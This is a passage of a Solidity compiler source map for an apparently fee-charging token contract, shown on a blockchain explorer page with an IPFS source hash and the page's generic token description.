;;11816:15;;;;;;;11812:173;;;11889:8;;11867:17;;:31;;:21;:31::i;:::-;11851:47;;11812:173;;;11968:1;11952:17;;11812:173;12025:1;12009:13;:17;:32;;;;;12040:1;12030:8;;:11;12009:32;12006:253;;;12072:29;12097:3;12072:20;12083:8;;12072:6;:10;;:20;;;;:::i;:29::-;12152:12;;-1:-1:-1;;;;;12152:12:0;12142:23;;;;:9;:23;;;;;;12057:44;;-1:-1:-1;12142:41:0;;12057:44;12142:27;:41::i;:::-;12126:12;;;-1:-1:-1;;;;;12126:12:0;;;12116:23;;;;:9;:23;;;;;;;;;:67;;;;12220:12;;12203:44;;160:25:1;;;12220:12:0;;;;12203:44;;;;-1:-1:-1;;;;;;;;;;;12203:44:0;133:18:1;12203:44:0;;;;;;;12006:253;12269:17;12289:34;12319:3;12289:25;:6;12300:13;12289:10;:25::i;:34::-;12381:4;12363:24;;;;:9;:24;;;;;;12269:54;;-1:-1:-1;12363:39:0;;12269:54;12363:28;:39::i;:::-;12354:4;12336:24;;;;:9;:24;;;;;;;:66;;;;12418:42;;-1:-1:-1;;;;;12418:42:0;;;-1:-1:-1;;;;;;;;;;;12418:42:0;;;12450:9;160:25:1;;148:2;133:18;;14:177;12418:42:0;;;;;;;;12480:39;12506:12;12480:21;:6;12491:9;12480:10;:21::i;:39::-;12473:46;11334:1193;-1:-1:-1;;;;;;;11334:1193:0:o;884:222::-;942:7;966:1;971;966:6;962:23;;-1:-1:-1;982:1:0;975:8;;962:23;995:9;1007:5;1011:1;1007;:5;:::i;:::-;995:17;-1:-1:-1;1040:1:0;1031:5;1035:1;995:17;1031:5;:::i;:::-;:10;1023:56;;;;-1:-1:-1;;;1023:56:0;;9117:2:1;1023:56:0;;;9099:21:1;9156:2;9136:18;;;9129:30;9195:34;9175:18;;;9168:62;-1:-1:-1;;;9246:18:1;;;9239:31;9287:19;;1023:56:0;8915:397:1;1114:132:0;1172:7;1199:39;1203:1;1206;1199:39;;;;;;;;;;;;;;;;;1340:7;1375:12;1368:5;1360:28;;;;-1:-1:-1;;;1360:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1399:9:0;1411:5;1415:1;1411;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:180::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;-1:-1:-1;1548:23:1;;1397:180;-1:-1:-1;1397:180:1:o;1582:456::-;1659:6;1667;1675;1728:2;1716:9;1707:7;1703:23;1699:32;1696:52;;;1744:1;1741;1734:12;1696:52;1783:9;1770:23;1802:31;1827:5;1802:31;:::i;:::-;1852:5;-1:-1:-1;1909:2:1;1894:18;;1881:32;1922:33;1881:32;1922:33;:::i;:::-;1582:456;;1974:7;;-1:-1:-1;;;2028:2:1;2013:18;;;;2000:32;;1582:456::o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3310:127::-;3371:10;3366:3;3362:20;3359:1;3352:31;3402:4;3399:1;3392:15;3426:4;3423:1;3416:15;3442:125;3507:9;;;3528:10;;;3525:36;;;3541:18;;:::i;3572:356::-;3774:2;3756:21;;;3793:18;;;3786:30;3852:34;3847:2;3832:18;;3825:62;3919:2;3904:18;;3572:356::o;3933:168::-;4006:9;;;4037;;4054:15;;;4048:22;;4034:37;4024:71;;4075:18;;:::i;4106:217::-;4146:1;4172;4162:132;;4216:10;4211:3;4207:20;4204:1;4197:31;4251:4;4248:1;4241:15;4279:4;4276:1;4269:15;4162:132;-1:-1:-1;4308:9:1;;4106:217::o;4964:277::-;5031:6;5084:2;5072:9;5063:7;5059:23;5055:32;5052:52;;;5100:1;5097;5090:12;5052:52;5132:9;5126:16;5185:5;5178:13;5171:21;5164:5;5161:32;5151:60;;5207:1;5204;5197:12;5602:128;5669:9;;;5690:11;;;5687:37;;;5704:18;;:::i;6156:127::-;6217:10;6212:3;6208:20;6205:1;6198:31;6248:4;6245:1;6238:15;6272:4;6269:1;6262:15;6288:251;6358:6;6411:2;6399:9;6390:7;6386:23;6382:32;6379:52;;;6427:1;6424;6417:12;6379:52;6459:9;6453:16;6478:31;6503:5;6478:31;:::i;6544:980::-;6806:4;6854:3;6843:9;6839:19;6885:6;6874:9;6867:25;6911:2;6949:6;6944:2;6933:9;6929:18;6922:34;6992:3;6987:2;6976:9;6972:18;6965:31;7016:6;7051;7045:13;7082:6;7074;7067:22;7120:3;7109:9;7105:19;7098:26;;7159:2;7151:6;7147:15;7133:29;;7180:1;7190:195;7204:6;7201:1;7198:13;7190:195;;;7269:13;;-1:-1:-1;;;;;7265:39:1;7253:52;;7360:15;;;;7325:12;;;;7301:1;7219:9;7190:195;;;-1:-1:-1;;;;;;;7441:32:1;;;;7436:2;7421:18;;7414:60;-1:-1:-1;;;7505:3:1;7490:19;7483:35;7402:3;6544:980;-1:-1:-1;;;6544:980:1:o;8351:306::-;8439:6;8447;8455;8508:2;8496:9;8487:7;8483:23;8479:32;8476:52;;;8524:1;8521;8514:12;8476:52;8553:9;8547:16;8537:26;;8603:2;8592:9;8588:18;8582:25;8572:35;;8647:2;8636:9;8632:18;8626:25;8616:35;;8351:306;;;;;:::o

Swarm Source

ipfs://90d0823acbfef1336d892103aed50aefb00d2a128934db470766c4037fcbcedd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.